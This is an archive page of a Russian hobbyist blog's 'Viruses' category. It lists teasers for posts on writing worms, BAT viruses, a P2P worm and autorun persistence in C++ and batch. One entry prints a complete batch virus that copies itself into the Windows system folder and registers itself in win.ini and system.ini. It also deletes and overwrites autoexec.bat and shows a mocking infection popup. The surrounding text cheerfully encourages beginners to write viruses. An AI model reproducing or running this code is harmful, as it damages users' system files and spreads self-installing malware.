Познавательный блог  

Поиск по сайту

Страницы

Архивы

Архив рубрики 'Вирусы'

Как узнать папку куда установлена Windows на C++

Как узнать папку куда установлена Windows на C++. Как определить папку WIndows. Функция

GetWindowsDirectory — возвращает путь к каталогу Windows. Этот каталог содержит файлы приложений Windows, файлы инициализации .ini и файлы справок .hlp. В этом каталоге вы можете хранить файлы инициализации и файлы справок своего приложения. Если приложение создает другие файлы, которые вы хотите хранить, не допуская к ним других пользователей, то помещайте их в каталог, указанный в переменной окружения HOMEPATH. При соответствующей установке этот каталог различен для всех пользователей.

GetWindowsDirectory(windir,sizeof(windir));

Завершить процесс по имени его файла. Простейший антивирус на C++.

Завершить процесс по имени его файла. Простейший антивирус. Закрыть по имени файла на C++

Нижеприведенный код закрывает приложения, имена которых совпадают с указанными в начале.Перебирай все процессы, программа ищет совпадения с именами файлов и завершает неугодные приложения.

Несложный резидентный вирус-червь на C++

Устроившись работать программистом в свой родной ВУЗ, я обнаружил интересную вещицу. На некоторых компах периодически стучал флоппи-дисковод. Пытался читать или писать данные на дискету. Каково было мое удивление, когда я узнал в этом засранце свое 1курсное творение :). Которое каким-то образом выбралось на свободу. Этот вирус писался исктлючительно как научный эксперимент к двум моим научным статьям о вирусах, но как этот черт выбрался для меня осталось загадкой. Кстати обе статьи я опубликую на сайте, после их публикации в научном сборнике.

Вирусом, как таковым это назвать сложно, так как ничего кроме копирования на дискеты он не делает. Но сделана работа была на славу. Поехали...

Конструктор BAT вирсуов на C++

Джексон: (саркастически) О. Вы правы!
Мы… мы просто загрузим на их главный
корабль компьютерный вирус!

«Звёздные врата SG-1»

Конструктор BAT вирсуов на C++

Куда чаще всего прячутся вирусы

Привет всем. В этой статье я поведаю вам приемы для программирования червей и троянов. Чтобы быть подкованным и без помощи антивирусы расправиться с любым вирусом, Вам стоит это прочесть.
Долго распинаться не буду, и перейду сразу к делу:

Для начала приведу список мест в реестре, где они могут поселиться на автозагрузку.

Исследование технологий HLL* Вирусов на C++

HLL* — High Level Language Virus , написанные на языках высокого уровня, в большинстве случаев имеющие большой размер (порядка 50-300 Кб).
Языками высокого уровня называют все языки программирования кроме ассемблера. Так как на ЯВУ хорошо писать только червей и троянов, так и поэтому шанс выжить у зверков не так уж и высок. Хотя все зависит от кода, да и запаковать файл не сложно. Всяких утилит сейчас полно. Однако если паковать файл, то могут возникнуть проблемы с заражением файлов. Итак, расскажу какие монстры бывают и на какие делятся группы:

Worm.P2P своими руками

Приветствую всех начинающих и не только кодеров и хакеров.
В своей статье я сегодня расскажу про то, каким образом на языке C++ можно без особых мучений написать несложный P2P.Worm.
В общем, на идею создания этого червяка меня натолкнул появившийся недавно в сети Вирус Mydoom.
Итак, начнем - В Интернете существует бесплатная файлообменная сеть, с помощью, которой пользователи со всего мира спокойно могут пробежаться по открытым каталогам, таких же пользователей!
В общем, в этой сети закон отсутствует и качают все, что можно и нельзя. Все засеяно смешными троянами и червяками.
И между прочим Mydoom тоже размножался через эту сеть. Приведу краткий алгоритм работы:

Описания вирусов Bat.kx

Ты еще таким страдаешь? Да и я тоже страдал. Ну давай делиться секретами. Вот старый вирёк Kx. Почему такое название? не знаю :) Здесь типичный вирек частично зашифрованный и имеющий возможность проверять комп на заражение. Это конечно не самый мелкий вирь, но к мелким вполне отнесется. Вот текст первого:

Эволюция вирусописания часть 1

Это первый найденный прототип!

@echo off
copy cs.bat c:/%windir%/system
echo run=c:/%windir%/system/cs.bat >> win.ini
echo run=c:/%windir%/system/cs.bat >> system.ini
echo MY NAME IS cs
label LOHOLAMMER
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat > nul
echo autoexec.bat echo YOU ARE LAMMER!!!! > c:\autoexec.bat
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Warning,!! Ваш комппьютер заражен вирусом, а избавиться от
него нельзя, хе-хе-хе"); >> %temp%\mes.js start %temp%\mes.js
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
pause
cls

BAT-вирус своими руками

Привет тебе снова, юный кодер-шкодер. Если ты читал прошлую мою статью под названием "Учим ДОС", то ничего сложного тут для тебя не будет. А если не читал, то внимательно смотри комментарии. Итак, начнем. Сижу я однажды и думаю: а не накатать ли мне вирус? А так как кроме QБарсика я ничего не знал, а ДОС был моим вторым ... [Братом], а ты что подумал извращенец? :)~. ТО я решил писать вирус на нем, и оказалось это не так трудно.


Страница 19 из 19« Первая1516171819

Свежие записи

Рекламка

загрузка...

Мета

Счетчики


Rambler's Top100
Яндекс Индекс цитирования
  Разработка и дизайн — StvPromo.ru